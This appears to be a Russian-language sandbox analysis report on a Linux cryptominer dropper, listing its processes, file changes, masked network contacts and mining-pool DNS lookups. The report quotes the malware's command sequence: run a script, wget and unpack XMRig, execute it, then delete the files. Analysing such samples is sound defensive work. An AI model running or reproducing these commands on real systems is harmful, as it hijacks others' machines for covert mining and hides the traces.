Техническая информация
Вредоносные функции:
Запускает себя в качестве демона
Запускает процессы:
- chmod +x k4yn.sh
- /bin/sh k4yn.sh
- wget https://github.com/xmrig/xmrig/releases/download/v6.16.3/xmrig-6.16.3-linux-static-x64.tar.gz
- tar -zvxf xmrig-6.16.3-linux-static-x64.tar.gz
- gzip -d
- mv config.json xmrig-6.16.3
- rm xmrig-6.16.3-linux-static-x64.tar.gz
- ./xmrig
- rm -R xmrig-6.16.3
- rm k4ynv2
Выполняет операции с файловой системой:
Модифицирует права доступа к файлам:
- /root/k4yn.sh
- /root/xmrig-6.16.3/config.json
- /root/xmrig-6.16.3/xmrig
- /root/xmrig-6.16.3/SHA256SUMS
- /root/xmrig-6.16.3
Создает папки:
- /root/xmrig-6.16.3
Создает или модифицирует файлы:
- /root/config.json
- /root/k4yn.sh
- /root/xmrig-6.16.3-linux-static-x64.tar.gz
- /root/xmrig-6.16.3/config.json
- /root/xmrig-6.16.3/xmrig
- /root/xmrig-6.16.3/SHA256SUMS
- /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages
Удаляет файлы:
- /root/xmrig-6.16.3-linux-static-x64.tar.gz
- /root/xmrig
- /root/SHA256SUMS
- /root/config.json
- /root/k4ynv2
Сетевая активность:
Устанавливает соединение:
- <LOCAL_DNS_SERVER>
- 14#.##.121.3:443
- 18#.##9.109.133:0
- 18#.##9.110.133:0
- 18#.##9.111.133:0
- 18#.##9.108.133:0
- 18#.##9.109.133:443
- 51.##.21.186:443
DNS ASK:
- gi##ub.com
- ob#####.#ithubusercontent.com
- po##.#inexmr.com
Посылает данные следующим серверам:
- 14#.##.121.3:443
- 18#.##9.109.133:443
- 51.##.21.186:443
Получает данные от следующих серверов:
- 14#.##.121.3:443
- 18#.##9.109.133:443
- 51.##.21.186:443
Прочее:
Собирает информацию о CPU
Собирает информацию об оперативной памяти
